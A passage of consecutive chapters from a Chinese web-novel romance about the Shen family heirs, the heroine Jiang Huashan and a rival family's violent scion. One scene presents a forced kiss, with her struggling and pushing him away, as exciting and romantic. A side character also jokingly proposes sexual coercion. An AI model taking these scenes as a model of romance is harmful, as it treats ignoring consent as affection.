这里是沈园,她现在可是爷爷的心肝宝宝,有爷爷在,沈归灵能拿她怎么办? 这态度不可谓不挑衅。 沈归灵再看出了她打算破罐子破摔的赖性,但今天的话都已经说到这个份上了,可由不得她装傻充愣。 他抬手,轻轻敲了敲姜花衫腿上的钢板,慢条斯理说道:“作为受害者,我为自己讨要一个说法合情合理吧?” 受害者?姜花衫刚要掀眼皮又强行忍了回去。 出门在外,封号都是自己给的,沈龟灵爱是什么是什么,不理他。 “……” “行,那我去找爷爷,就说你把我的嘴唇都咬破了。” 姜花衫眼皮跳了跳,抬头看着沈归灵,“你敢!” 沈归灵,“我有什么不敢的?”说完作势就要起身。 “等会儿!”姜花衫想也不想,一手拽着他的袖口把人拖了回来,一副你不要无理取闹的无奈脸。 “你到底想干嘛?” 沈归灵面无表情拉好领口,“我要一个答案。” 姜花衫表情微妙,硬着头皮,“什……什么答案?” 沈归灵看着她,“为什么亲我?” “……”姜花衫顿时觉得头大,单手扶额眼神时不时瞟向沈归灵。 他们俩现在这种感觉,不知道的还以为她始乱终弃,对沈归灵做了什么? 看来渣女也不是这么好当的,售后问题有点棘手。 姜花衫清咳了一声,一脸无辜:“我都说了,我那个时候年纪小,不懂事,觉得好玩就亲了。” “好玩?”沈归灵细细品味这两个字,“那前天水下呢?也是因为好玩?都要死了有什么好玩的?” “我……” “别跟我说年纪小,你已经到了可以为自己的行为负责的法定年龄了。” 姜花衫急中生智,脑子灵光一闪,指尖朝上:“刺激!” “刺激?” 姜花衫点头,一本正经,“因为觉得一边被追杀一边亲吻很刺激,所以,就亲咯~” 这个答案就很姜花衫,完全符合她的人设,只不过,这对沈归灵而言属实有点残忍。 结合她小小年纪就包养男团的事迹,完全就是游戏人生的海女。 但是没办法啊,从沈归灵突然一夜之间暴涨了N个99之后,她就下定决心要放弃小可怜任务了。 那比她命还长的心动指数,一看就是剧目之门给她挖的坑,她可不上当。 “……”沈归灵陷入了短暂的沉默,眼神晦涩难懂,“你说的都是真的?” “真的!”姜花衫生怕他不信,点头如捣蒜,“我承认我这性格是恶劣了点,但我没办法,我改不掉,只能委屈你了。” 见沈归灵不接话,她又语重心长,“事情都过去了,你是男生,多经历一点又不吃亏,就……就当长个教训吧。” 沈归灵撩着眼帘看她,她怎么做到一本正经的胡说八道还这么可爱的? 斟酌片刻,沈归灵起身撑着床沿,深邃的眸底眼底敛着水光。 “姜花衫,我们试试吧?我保证每天都让你觉得好玩又刺激。” 姜花衫原本还一副姜太公稳坐钓鱼台的模样,这话一出,满脸的和蔼都碎成了渣。 “试什么?” 沈归灵低头,看着她的眼睛,“什么都可以,只要你愿意跟我一起,你想玩什么我都陪你,怎么刺激怎么来。” 姜花衫愣了愣,扯着嘴角悄悄往后躲。她是胡说八道,可怎么感觉沈归灵像来真的? “怎么样?” 什么怎么样?姜花衫硬着头皮与他对视,“不行!我要当爷爷的孙女,我们……不适合。” 沈归灵丝毫没有犹豫,“我可以不当爷爷的孙子。” 姜花衫顿时不乐意了,“沈归灵,你恋爱脑吗?爷爷对你这么好,你说这种话也太没有良心了。” 沈归灵,“那你不当爷爷孙女了?” “呸!我必当。” “那不就结了。” “……”姜花衫这才反应自己被绕了进去,没好气,“结什么结?说的好听,当不当爷爷孙子又不是你说的算的? 沈归灵不动声色,“只要你同意,我一定能做到。” 姜花衫皱眉,“我同意什么我同意?沈归灵,我警告你,不许乱来。” 沈归灵,“你不愿意?” “我……”姜花衫眼神乱飘,故意道,“我当然不愿意了,我才不要为了一条鱼放弃整个池塘。” “一条鱼?”沈归灵淡淡垂眸,手掌托住她的下巴,“你拿我当鱼?” 话都已经说到这个份上了,这渣女的皇冠必须戴稳。 “没错,我就是图好玩逗逗你。”姜花衫嘴巴一张一合,输出毫无压力。 “……呵。” 真敢说。 沈归灵摇了摇她的脸颊,“那怎么又不逗了?” 怎么还讨教起来了?正常人不是应该觉得备受侮辱摔门而出吗? 火候不够?沈归灵不是正常人! 姜花衫顺嘴又怼了一句,“你不好玩呗。” 这话一出,沈归灵眼底眸光蓄起一层幽光,他低头笑了笑,声音低呢带着几分危险,“你玩了吗?就说不好玩?” 姜花衫脑子突然嗡了一声,嘴巴微张,想说什么但又不知道该说什么。 沈归灵眼神暗了暗,以迅雷不及掩耳之势咬住她的唇珠。 “!” 姜花衫怔愣,仰着身子往后躲,沈归灵一把扣住她的头,撬开牙关直接吻到了最里面。 【叮——】 【恭喜,宝藏剧情心动篇之《拯救小可怜》被触发,完成进度99.9n9%】 脑子里的提示音开始爆炸式输送,炸的姜花衫脑子顿时一片空白。 她身体一软倒下床,沈归灵一心二用,顺势将枕头堆叠,就着这个高度压着她在枕间亲吻。 舌尖的酥麻渐渐蔓延到全身,直到整个头皮开始发麻,姜花衫才缓回神。 “唔唔……” 形似残废的双腿根本使不上一点劲儿,姜花衫只能用仅剩的一只手推搡,但她的力气对于已呈凶性的猛兽来说根本是隔靴搔痒,不管姜花衫是抓他的耳朵,还是薅他的头发,沈归灵丝毫不受影响。 “唔唔……气……唔唔……” 沈归灵轻喘抬起头,这才发现姜花衫的脸都憋紫了。 他眼尾透着红,眼里满是笑意,“水下不是还会换气吗?怎么这会儿就不会了?” “我!” 姜花衫气的抬手就去抓他的脸,沈归灵偏头拽住她的手,大拇指抵着挂着银丝的嘴角。 “记得换气。” 这次的亲吻很温柔。 沈归灵先舔了舔她的嘴角,一点一点厮磨一寸一寸闯入。 他吻的小心翼翼,高挺的鼻尖在两腮间来回游走。他不准她反抗,只要察觉她的闪躲,就会故意抬高枕头吻的更深入。 窗外蔓藤月季开的正艳,半敞的木窗被风吹的摇摇摆摆。 华丽的水晶吊灯倒映着男女交叠的身影,挣扎的手被十指相扣拖进了枕间。 “先生?您找阿灵少爷吗?” 突兀地,窗下响起张茹的声音。 姜花衫一愣,反应过来立马看向沈归灵。 “阿灵在上面吗?” “在呢。阿灵少爷,先生来了。”张茹扯着嗓子招呼。 沈谦,“衫衫好些没?我正好也看看她。” 没一会儿,楼间传来哒哒的脚步声。 姜花衫这下是真急了,她不停扭动躯干躲闪,沈归灵被她拱的浑身冒火,眼神微变触电一般抬起头。 “阿灵?”沈谦的声音在门外响起。 “下来。”姜花衫努力调整呼吸,含着水光的桃花眼目光灼灼。 沈归灵捂着她的眼睛,低头吻住她的下巴的软窝,整张脸埋进了她的肩颈。 他轻微偏过头,鼻尖沿着细小的青筋脉络游走。 “你…别……~” 姜花衫眼神微变。 沈归灵忽然吻住侧颈,一直往耳根推移,这不是亲吻,是一种带着暗示的讨好。 姜花衫所有的心思都在门外,完全不曾发觉把脸藏在她肩侧的男人,此时耳朵已经烫得快要滴出血来了。 疯了! 屋外,沈谦握着房门把手。 “咔嚓——” 屋内传来锁轴转动的声音。 姜花衫的心一下提了起来。 “咔——” 就在姜花衫以为沈谦要推门而入时,锁卡住了。 “呵……” 沈归灵贴着她的耳垂,喉间逸出几声低笑。 他抬起头,眼里都是怦然心动的爱恋,“怎么样?是不是很刺激?好玩吗?” “……” “阿灵?衫衫?” 沈谦拧着把手才发现门从里面反锁了,正打算敲门,忽然听见屋里传来啪的一声脆响。 沈谦愣了愣,怎么感觉刚刚那声像是打脸的巴掌声。 衫衫和阿灵打起来了? 沈谦迟疑片刻,暂时压下心中的猜忌,抬手准备敲门。 ‘喀嚓——’ 这时,把手倾斜,沈归灵拉门走了出来。 “父亲。” 沈谦愣了愣,“阿灵,你……” 眼前的沈归灵头发凌乱,脸上印着一道五爪淤青,淤青还渗着血珠子。 沈归灵垂眸,“没什么,我们先回去吧。”说着,转头下了绣楼。 沈谦眼神变了变,回头看向卧室,犹豫片刻走进去,“衫衫,你动手打阿灵了?” 姜花衫正一肚子火,“对,我就打了!” 沈谦没想到姜花衫打人还这么嚣张,神情严肃,“他做了什么,你下手那么狠?” 姜花衫理直气壮,“他活该!” “你……” “先生,您消消气,姜小姐身上还有伤,您千万别跟她一般见识。”沈谦毕竟是长辈,张茹唯恐姜花衫得罪了沈谦,连忙笑着打圆场。 沈谦原本想教训两句,被张茹这么一劝立马歇了心思。 姜花衫现在可是老爷子的眼睛珠子,他要说了什么传到老爷子耳朵,指不定又要挨顿骂。 忍着一口气走到门边,忽然想起沈归灵的狼狈样,沈谦到底没忍住,脸色阴沉,“衫衫,不管怎么说阿灵也是你的哥哥,他真做错什么自有我和老爷子管束,还轮不到你动手。” 姜花衫顿时暴走,拿起床边的闹钟对着沈谦砸去,“我就打,大伯要是对我不满,大可让爷爷把我赶出去。” “你……” “先生!先生!姜小姐从山庄回来伤了脑子,医生说不能受刺激,你千万别跟她一般见识。”张茹生怕沈谦发怒,把人拦在门口。 沈谦深吸了一口气,懒得跟姜花衫一般见识,转身出了绣楼。 张茹趴在栏杆边目送沈渊,直到看见他出了菊园,悬着的心才终于落了地。 她转头进屋,“你啊你,沈先生杀伐果决可不是一般人,怎么连他都敢惹?” 张茹一边碎碎念,一边捡起地上的闹钟放回床边。 “姜小姐,您别怪我多嘴,老话说的好,刚过易折,您以后可不能这么莽了。” 张茹知道沈谦杀伐果断,却还义无反顾挡在她面前,这份情谊姜花衫看在眼里。 没有外人,她也就卸下了方才那份莽撞,撒娇拉着张茹的手,“张妈,我想吃你做的淮城糖水了。” 张茹知道她这是在转移话题,纵容摇了摇头,“好,马上去做。” 等张茹出了房间,姜花衫眼里的笑容瞬消沉。 沈谦被气成这样,应该没有发现吧? 不知怎的,脑海里忽然浮现出一双噙着笑意的瑞凤眼。 “你都没试过,怎么知道我不好玩?你想要刺激?不如试试我?” “我给你玩。” 姜花衫扶额,一时没忍住,“死变态。” …… 第406章 一叉车礼物 “阿灵!” 沈谦从菊园出来,又马不蹄追赶沈归灵。 沈归灵垂着眼往后看了一眼,加快脚步往竹园走去。 雷行守在院门外,憨厚的脸上写满了不可思议。 太阳从西边出来了?怎么先生追在阿灵少爷屁股后面跑? “少爷。”雷行小跑着上前迎接,“您怎么……” 沈归灵目不斜视直接越过雷行,“我要毛巾和冰块。” 走近了,雷行才看见沈归灵脸上的巴掌印,微愣了片刻,立马跑进院子准备。 沈归灵则直接进了主厅。 沈谦从未被人如此冷待过,就算这次是他做的过分了点,但沈归灵现在的反应也实在过于偏激了。 莫然看出沈谦的不快,小声道,“先生,阿灵少爷现在应该不想看见我们。” 沈谦皱眉,脸色愠色更重。 莫然,“我家有个小侄子,有段时候每次回来脸上都鼻青眼肿的,家里人问他是谁打的,他却说是自己摔的。” 沈谦神色微动,转头看向莫然。 莫然低着头,“后来家里人去学校打听了才知道,原来欺负他的是个小女孩。小侄子因为觉得丢脸,才偷偷隐瞒。” 沈谦这才反应过来,原来沈归灵是因为羞愧。 他从未带过孩子,这忽如其来的探知让沈谦心里腾升起莫名其妙的异样感。 犹豫片刻,沈谦抬步往竹园走去。 庭院落下几缕闲散的日光,竹林旁边的空地变成了花圃,小苗已经长出了新的枝芽,郁郁葱葱一片生机。 主厅的玻璃门敞开着,时不时传来雷行和沈归灵的谈话声。 沈归灵靠着沙发正在冰敷耳朵。 雷行指了指他的脸,“少爷,脸肿了。” 沈归灵却好似没听见,一直捂着自己的耳朵。 雷行一脸憨厚,“少爷,您不是去看姜小姐了吗?怎么这副模样回来?姜小姐打您了?” 沈归灵靠着沙发,无精打采敛的眼皮, “她真打您了?!”雷行一脸惊讶,“姜小姐简直是无法无天了!她打别人也就算了,少爷您脾气这么好,又温柔又善解人意,姜小姐连你都打真是太过分了。” 沈归灵扯了扯嘴角。 雷行越想越气,用毛巾包住冰袋递给沈归灵,“少爷,您下次看见她记得躲远点,高止说了,现在兰晞少爷看见她都绕道走。” 沈兰晞舍得绕道? 沈归灵抬眸,目光在雷行脸上停留了片刻,又若无其事移开,“以后高止说的话少信。” “是。”雷行憨憨应了一句,小心观察沈归灵的脸色,“少爷您这样不行,他们就是欺负您脾气好,人善被人欺。” 沈归灵神情淡淡,“总不能给父亲添麻烦。” 沈谦已经在门口站了好一会了,沈归灵最后一句话打破了他积压在心里的不满。 “阿灵。”沈谦适时开口,慢步走进主厅。 沈归灵脸色微变,站起身要走,沈谦拍了拍他的肩膀,“我们谈谈。” 莫然朝雷行使了个眼色,两人一前一后退出了主厅。 “坐吧。” 在触及沈归灵耳尖的红温后,沈谦误以为他还在羞愧,立马摆出一副慈父的面孔。 “你我父子之间没什么好难为情的,今日之事,父亲只当没看见。” 沈归灵,“……” * 兰园。 莲塘窗下,墨香在夏日的暑气中晕染开来。 蝉鸣被窗棂筛成细碎的金箔,落在沈兰晞执笔的腕骨上。 羊毫尖端凝着浓墨,悬停时在纸面投下颤巍巍的影子。 “少爷。” 高止赤裸着上身,双腿盘膝坐在窗台边吃苹果,咔哧咔哧,嘴里果汁飞溅。 “要不要找人盯着医院?” “不用。”沈兰晞眼皮都没抬。 高止扣了扣肩上的伤口,歪着头看向菊园,“那要不要去看看姜小姐?” 笔锋顿折,一滴浓墨溅落在收笔之处,沈兰晞缓缓抬眸,一线天光正巧吻上他的眉间。 “你想去?” “我……咳咳!!”高止差点被苹果噎死,重重捶打胸口。 沈兰晞神情淡淡,一言不发看着他。 “……”高止捂着嗓子强行咽下喉间的梗塞,语调艰难,“我……想去。” 沈兰晞搁笔,慢条斯理整理笔墨,“把衣服穿上。” 高止低头看了看自己的魁梧有型的魔鬼身材,啧了一声跳下窗台。 原本他不穿衣服乱溜达就是想让沈兰晞愧疚,没想到完全不起作用。 高止骂骂咧咧换好衣服,探头伸进窗下,“少爷,走了。” 沈兰晞还在练字,“探视不可空手,你把偏厅的礼物带上。” “是。”高止懒懒应了一声,转头跑去隔壁间,脚刚跨进门槛就吓的退了回来。 偏室里堆满了各式各样包装精美的礼物,珠宝玉器、蜀锦丝绸、人参补品,堆起来几乎占用了一个房间。 高止一脸晦气,回头看向书房位置,少爷这是动了自己娶媳妇的小金库? 天杀的,忠心保镖挂着一百道鞭伤在他面前溜了一天,还不如一个躺着没露面的?! 高止心里冒着酸水,敲了敲窗台,“少爷,太多了搬不动,要不先挑几个送?” 沈兰晞头都没抬,声音不容置喙,“想办法。” 高止的表情跟吃一百瓶鲱鱼罐头一样难受,甩着胳膊气冲冲跑了出去。 没一会儿,他开着一台叉车停在了院子门口。 这几天沈园大修,后院调来了几十台挖机和叉车正好派上用场。 高止顺道把前院做事的阿姨也喊了过来,十几个人来来回回搬了半个小时才把礼物搬空。 “少爷,可以出门了。” 沈兰晞特意换了身休闲服,转眼看见自己精心挑选的礼物被杂乱无序垒在叉车上,脸色瞬间不满。 高止从车上探出头,“少爷,您就别嫌弃了,工头说花园急着赶工,我好不容易才借到六十分钟使用权。” “……” 高止看出沈兰晞不高兴了,立马讨好,“少爷,您身上有伤,要不您站上来,我叉着您走?” 沈兰晞面无表情转过身。 …… 第407章 致歉书 “咔咔咔咔咔——” 身后的叉车发出老年失修的轰鸣声。 一人一车就这样走到了菊园外。 “唉哟,这是怎么了?哪来的拖拉机?” 张茹被院外的叉车吵的耳鸣,没等沈兰晞敲门便主动出院子查看情况。 “这……兰晞少爷?”张茹万万没想到一台沾满泥星子的叉车,会和优雅尊贵的太子爷同时出现在一个画面,表情怔愣,“您这是?” 沈兰晞,“衫衫怎么样了?我来看看她。” 张茹头一次看见有人带一叉车礼物来探病的,震惊之余略显局促,“兰晞少爷,您来的不巧,姜小姐已经睡下了。” 沈兰晞眸光微动,“这个时候?” 他来的时候已经提前卡好了时间,往常这个点正是姜花衫最活跃的时候,她不是在院子里晒龟就是在后院写生。 张茹听出了沈兰晞的弦外之音,连忙解释,“兰晞少爷,姜小姐刚刚才把阿灵少爷打出去,这会子情绪不稳定不愿意见人。” 沈兰晞眉头微蹙,“她……动手打了沈归灵?” 张茹左右看了看,露出尴尬而不失礼貌的微笑,“连带议员先生都没讨着好脸色,您还是别去触霉头了。” 沈兰晞转头看向绣楼方向,沉默片刻,淡淡开口,“这些礼物,你拿进去。我改天再来。” 张茹看着眼前垒的比院墙还高的礼物,大为感动,“兰晞少爷,您有心了。” 沈兰晞点了点头,没再停留,转身往回走。 “少爷。” 高止连忙从叉车上跳下,屁颠屁颠追上沈兰晞。 “您就这么回去了?” 沈兰晞,“她不愿意见我,一定还在生气,我等她气消了再来。” 高止一巴掌拍向自己的额头,“以姜小姐的脾气,万一这气生个十年八年,你也这么乖乖听话?” 沈兰晞脚步一顿,眸光微沉。 高止斜睨他,“你该不会刚刚才想到这个问题吧?” “……”沈兰晞转头,终于给了高止一个正眼,“那怎么办?” “……”高止气的想给自己一个人工呼吸,“哄她啊,女孩子生气都是要哄的,你让她自己在那生闷气,这气指不定越生越大。” 沈兰晞神色有些微妙,“哄?” 太子爷这辈子好话都没说过几次,更别说哄人了。 高止深知菜鸡的短板,拉着沈兰晞拐到菊园侧门,“今晚我们偷偷从这搭个楼梯,山不来就我 我便去就山,这意思懂吧?” 沈兰晞甩开高止的手,“你让我爬墙?” “……”朽木不可雕也,高止懒得跟他掰扯,语重心长,“姜小姐刁钻的很,平日少爷您没做错事她都敢对您吆五喝六,现在您有把柄在她手上,您要不想点反制的手段,今后只会被她拿捏死。” 沈兰晞,“什么手段?” 高止捂着嘴,鬼鬼祟祟,“我已经打听过了,姜小姐现在四肢废了三肢,除了一张嘴哪都不能动。少爷您今晚就突袭,直接霸王硬上弓……” 沈兰晞眉心跳了跳,眼神比二月天的飞霜还渗人。 高止弱弱抖了抖肩膀,小声道,“……捂着她的嘴巴。” “……”沈兰晞闭了闭眼,直接过滤掉用的一塌糊涂的形容词,“然后呢?” “然后……然后就卖惨示弱啊,告诉姜小姐你一个人支撑长房有多辛苦,为什么要跟阿灵少爷和清予少爷合谋,最重要的是,一定要让她同情你。” “卖惨?同情?”沈兰晞皱眉,仿佛听到了什么很脏耳朵的东西。 “我哪里惨?又有什么地方值得同情?” 高止顿然说不出话,如沈兰晞这么骄傲的人,根本不屑用这种不入流的手段。 沈兰晞抬眸看向墙院,被高止这么一提醒,他这才发现绣楼离侧院只有几步之遥,如果加上梯子,从花窗攀岩,徒手就可以翻上绣楼窗台。 他斟酌片刻,指着侧院,“让工匠把菊园外墙往外面挪三米,再砌高些。” 他虽然不会夜探香闺,但不代表其他人也不会,总要防着有心之人。 “是。” 高止生无可恋,扯着嘴角应下,菜鸡高风亮节,衬的他好像一坨屎。 回到兰园,沈兰晞又开始磨墨。 高止双手抱胸,哄人不会哄,翻墙也不会翻,活该你单恋。 抱着看热闹的心态,高止故意往桌前凑近,待看见致歉书三个字后人都傻了。 “少爷,您这是?” 一线日光攀着青竹帘缝隙漏了进来,将松烟墨条碾碎的光泽镀在眼尾,沈兰晞垂着眼睑,连睫羽都成了半透明的金丝。 “她既然不愿意见我,那我就先写封道歉信。” 高止,“……” * 鲸和医院。 飘摇的纱帘被夏风灌满,半透明褶皱里浮动着消毒水的气息。 沈清予一动不动望着头顶的天花板,他已经醒来好一会儿了,但因为听见隔壁房间传来沈庄中气十足的怒骂声,便一直没有出声。 过了一会儿,房门被人从外面推开,查房的护士推着金属器械车慢慢走了进来。 两人目光迎面撞上,护士脸上大喜,小步跑上前,“阿弥陀佛,沈少爷,您醒了?” 护士的声音不小,隔壁房间的人听见动静,怒骂声顿然停了下来。 沈清予懒懒嗯了一声,一转头就看见沈庄拄着拐杖从房间里走了出来。 “清予!” 沈清予脸色苍白,但那双眼睛依旧神采熠熠。 他一脸坏笑,“老头儿~吓坏了吧?” 沈庄眼角酸涩,故作淡定,“你知道就好,怎么这么不省心?非得闹成这样?” 沈清予笑了笑,转头看向沈渊,“问你呢?怎么就非得闹成这样?” “……”沈渊被打了几十棍,连脸上都有棍痕,原本眼里满心欢心,但沈清予出口就是挖苦,顿时又感觉气不顺。 沈庄目光在两人之间逡巡了一圈,“沈执。” 沈执会意,立马将病房里的闲杂人等都清退了出去。 沈庄拄着拐杖走在病床前,“这里没有外人,清予,你跟爷爷说实话,昨晚到底发生了什么?” 沈渊脸色微变,“爸。” “住口。我问的是清予。”沈庄眸光萧瑟,“清予,你说。” 沈清予看了沈渊一眼,转眸朝沈庄笑了笑,“爷爷,这次是意外。” 沈渊顿时长舒了一口气,附和道,“是啊爸,我都跟您解释很多遍了,是意外。虎毒不食子,我总不至于杀自己的亲生儿子。” 沈庄目光存疑,“你的人品,有什么不可能?” 沈渊,“……” …… 第408章 再绑一次 白公馆。 白密翘着二郎腿,一脸生无可恋,“我已经跟您解释很多遍,我不是什么军事奇才,我要有那本事,还轮得到白冽那小子耀武扬威?哦,您是不是听不明白耀武扬威是什么意思,就是丢人现眼的意思。” 电话那头的女音沉稳淡定,“那记录到底是什么回事?” 白密吊儿郎当,“我随便蒙的,最近运气有点好。” “嘟——” 电话被挂断了。 白密习以为常,撩着眼皮笑了笑。 白蒂娜靠在二楼的鎏金扶手上,一脸的幸灾乐祸,“看来有人要比我先回国咯~” 白密抬眸,“听说为了重修A国的交流生道德分,你申请了福利义工?” 白蒂娜一脸戒备,“跟你有什么关系。” “没关系。”白密两指夹着手机随意转弄,“你该不会以为出点钱资助几个贫困生就能把你的德行操守修满吧?” “蒂娜小姐,” 这时,女佣手里拿着一封信走进正厅,“您的邮件。” 白蒂娜谨慎打量了白密一眼,顺着楼梯走到一楼,女佣恭恭敬敬地上邮件。 寄信的地址是鲸港后勤院。 白蒂娜眼神微动,信上回绝了她资金资助的申请,但考虑到她有修满德行分的权利,后勤部给了她一份周末去鲸港老人院做义工的工作,这份工作为期两个月,两个月后军政学府将重新政审白蒂娜的入校资格。 竟然敢让她去给养老院一群老不死的端屎端尿,这对养尊处优的白公主来说简直就是耻辱。 等看完里面的内容,白蒂娜脸色已经完全冷了下来,拿着手里的信件对着白密砸了过去,“你做了什么?” 白密耸了耸肩,“我能做什么?就是把你用活人做枪靶的视频发给那些审核人员了,谁知道他们胆子这么小?” 事情当然没有白密说的这么简单。 二公主白迪雅为了给女儿遮掩女儿枪杀情人罪恶,以白蒂娜的名义救助了许多贫困孤儿,但这也只是王室愚弄大众的遮羞布,事实上,这些被白蒂娜拿来洗白的孤儿就是白蒂娜的私人玩具,她轻则打骂重则枪杀。 白家在S国只手遮天,白蒂娜的罪行也不过是家族里最不起眼的玩闹,白密自小生活在王室,对家族的手段罪恶早已麻木,原本他也不想多管闲事,但他深知白蒂娜的劣根,她现在无比记恨A国人,如果让她资助了A国的贫困孩子,那些孩子一定会变成她泄恶的牺牲品。 原本白蒂娜以为花点就可以解决入学的问题,没想到被白密横插一脚,她气的差点原地爆炸,“那群A国人的死活跟你有什么关系?来了一趟A国就忘记自己是谁了?” 白密扣了扣耳朵,“少跟我嚷,早点收拾包袱给我滚。” 白蒂娜冷笑了一声,“想赶我走,做梦!”说罢,捡起地上的推荐信气冲冲出了大门。 “蒂娜小姐,您要去哪?” 刚踏出白公馆的大门,侍卫长立马迎了上来。 半个月前的围殴事件让白蒂娜也长教训,现在不管去哪,就是保镖不离身。 白蒂娜此时已经完全冷静了下来,丝毫没有刚刚面对白密时的气急败坏。 来A国镀金不管是对白密还是对她都是至关重要,只要他们能在A国军校修满学分,回国便可直接去军处上任,但若是留了什么处分回去,军政那条路就会留下污点。 女王至今没有钦定继承人,就说明王室每一位成员都有机会,白密急着赶她走无非是想将她踢出竞争圈,她才没那么傻。 “去国贸中心。” 白蒂娜冷冷吩咐,转眸看向身后的大门,别以为她不知道前天晚上白密带着侍卫长一群人天亮才回来的,那家伙最讨厌的就是雨天出门,所以其中一定有隐情。 “跟我玩阴的,走着瞧。” 屋里,白密从白蒂娜出门后便收起了那副天不怕地不怕的狠劲,咬着腮帮子用力戳手机。 要死了! 他当时明明没有保存啊,怎么还上传到学院了。 从成绩刷新屠榜后,军政学院和S国军务处的老东西就不停的给他打电话,以为出现了个什么绝世天才,他实在是不堪其扰,只能告诉他们那成绩是蒙的。老东西们不信,纷纷认为他这是低调,堪比1/177210882还小众的概率怎么可能蒙这么准?没想到现在连女王都惊动了。 白密坐立难安,点开手机反复确认姜花衫的信息。 鲸港艺术学院,还好还好,这样她就应该不会知道军政学院内部学分的信息。 可是…… 她三个装逼哥哥都是军政学府的,会不会穿帮啊? 诶~哥哥又怎么了?他和白蒂娜还不是兄妹,他们之间的信息捂得比白王宫的城墙还厚。 可是……沈家人好像有点不一样。 想着想着,脑子里忽然又闪过一个湖面,风雨为幕,少女背对苍穹生出了一双守护之翼。 “……” 白密皱了皱眉,捂着脑袋一副懊恼的模样。 忽然,他想到什么,煞有介事坐直身体。 “事关两国邦交和小叔叔的秘密可不能马虎,必须想办法再探一下姜花衫的底。可是,沈家一向不好说话……”白密轻咳了一声,低头看着鲸港艺术学院的入学名单,一副迫于无奈的模样。 “那就只能再绑你一次了。” …… 第409章 狼与狼见面 鲸港高级养老陪护中心。 艳阳盛夏,一切都显得格外有生命力。 刚刚吃完午饭,休闲广场的人比平时多了一倍,陪护们或推着轮椅,或搀扶着老人在草地上遛弯。 一簇绣球花地前,一位瘦弱的老太太正盯着紫蓝色的花瓣出神,老太太发丝银白,脸上除了皱纹还有大大小小的伤疤,伤痕是旧伤,凹凸不平与皱纹一起刻在了老人的脸上。 “老姐姐,看花呢~” 一群老太太老大爷路过,笑着与老人打招呼。 夏素心眼睛不好,听见声音四处看了看找到人,笑着答应,“是呢,小沉说我这眼睛不好,没事儿要多看看花花草草。” “哟,小沉又来了?老姐姐你好福气啊,孙子又帅又孝顺。” “老姐姐你可羡慕死我了,小沉读的是鲸港医大吧?不得了啊!我打第一眼瞧那孩子就说他有出息。” “老姐姐,小沉呢?” 夏素心是个温和人,对大家七嘴八舌说完才笑着回道,“他去给我打水了。” 众人听罢,眼底一片艳羡。到他们这个年纪,什么都不图,就图个儿女孝顺,夏素心这小孙子的孝顺在整个养老院都是出名的,只要他得空就会来看望夏素心,事无巨细亲力亲为。 闲聊了几句,众人又继续遛弯,夏素心一脸笑意继续看着绣球花。 大厅走廊,夏星沉手里提着刚打的热水,正要下楼梯,眼前突然出现两道黑影拦路,他低着头退至一边让道,但对方依旧不依不饶,跟着堵了上来。 夏星沉抬头,对方直接一拳揍了过来。 * 夏日的余晖穿过白色纱窗晕成点点碎金,周宴珩双眼轻瞌坐窗下的摇椅里,碎金落在俊挺的鼻尖满是怡然自得。 一间四十平的房间里乌泱泱站了二十几个壮汉,角落里的拳脚声拳拳到肉,夏星沉死死护着头,咬紧牙关一声不哼。 这样的问候大约持续了十分钟,周宴珩缓缓抬手,动了动指尖。 围殴的壮汉们立马收手,双手叠放退散两边。 周宴珩坐起身,略带微笑打量地上的丧家之犬。 夏星沉气喘了几声,捂着胸口慢慢爬了起来,“周少爷打招呼的方式还真是特别。” “还挺有胆色。”周宴珩顺手拿出提前准备好的资料,一字一句宣读,“夏星沉,十九岁,毕业于鲸港德才中学,以全国前八的成绩被鲸港医大录取,由于在校成绩优异,破格进入了沈氏的专项实验机构组。” 夏星沉扶正被打歪的眼镜,“周少爷还查到什么?” 周宴珩顺手将手里的资料丢到他跟前,“孤儿,自小跟着收废品的奶奶相依为命,十四岁因错手杀人被判有期徒刑二十年,一年后,案情翻转,被判无罪释放。” 夏星沉笑了笑,眼底冰凉,“这份档案一般人查不到,周少爷好手段。” 周宴珩站起身,慢步走到他跟前,“你是沈家的暗桩?” 夏星沉,“周少爷这么聪明,不是都猜到了吗?” 周宴珩冷笑了一声,抬眸朝身边的壮汉使了个眼色,男人会意,带上拳环提起夏星沉的衣襟,一拳重击腹部。 夏星沉眼瞳骤然收缩,闷哼了一声倒下。 “不要挑衅我的脾气,你这条贱命还不够我玩。” 夏星沉捂着下腹,艰难点了点头。 周宴珩,“你明明杀人抛尸证据确凿却还有人能为你翻案,对方来头不小。这间医疗院每年花费不低于六十万,你一个在读学生哪来的钱?” 夏星沉低声轻咳了一声,“兼职。” 周宴珩眼底掠过一丝兴味,“打黑拳?还是杀人越货?” 连他打黑拳的地下暗桩都查到了,看来是来者不善。 夏星沉取下眼镜,抬眸与周宴珩对视,“周少爷到底想问什么?” 周宴珩开门见山,“你背后老板是谁?” 夏星沉眉头微蹙,思忖片刻摇了摇头,“我不能告诉你。” 周宴珩,“看来是不怕死。”说着,便要走。 “周少爷!”夏星沉喊住他,“我不说今天会没命,但我说了,还是一样会没命,我一条贱命死不足惜,但如果能博一个好前程,就算是烂命我也想好好活着,求周少爷给我一个机会。” 周宴珩脚步微顿,抬着眼梢回看夏星沉,“你问我要前程?” “是。” 周宴珩神色不显,“你为什么会觉得我会愿意给你前程?” 夏星陷入短暂的沉默。 山庄暴雨那日,周宴珩早就知道有人潜入了山庄,但他不仅没有向山庄预警,反而没有边界感与海寇合作,这种疯感说明他是个完全没有道德底线的人,只有这样的人,才会因为有趣而接纳他。,“” 上位者最忌讳的就是被人猜心,故而夏星沉虽有几分把握但也不敢如实坦白。 他斟酌片刻,避重就轻,“周少爷,驯兽都是有驯化过程的,你要我背主总得先让我吃块肉吧?” 周宴珩转过身,高高在上的眼神里多了一丝兴味,“有个性的猎物的确值得我多花几分心思,但你又怎么证明自己和其他货色不同?” 夏星沉,“周少爷不是已经把我祖宗十八代都查清楚了吗?我的价值想必周少爷比我自己更清楚。” 这话虽然大胆,却正好投了周宴珩的脾性。 周宴珩今天之所以来找夏星沉,就是因为他已经猜到夏星沉是沈家某人,依照夏星沉那晚的行为,周宴珩推断这个人极有可能就是周国潮所说的沈家蛆虫。 眼下时机不对,周国潮不许他掺和周家和沈家人的合作的事,周宴珩不想在这种小事上惹周国潮不悦,便也只能退让。 但听话也只是暂时的,这局棋不完,不代表他就退出了与沈家的这场博弈。他今天来见夏星沉,就是他重布棋局的第一步。 到目前为止,周宴珩对夏星沉的反应还算满意。 他淡笑着从保镖手里接过手枪,拉枪上膛抵着夏星沉的眉心,“最后一个问题,你和姜花衫是什么关系?” …… 第410章 人以群分 姜花衫? 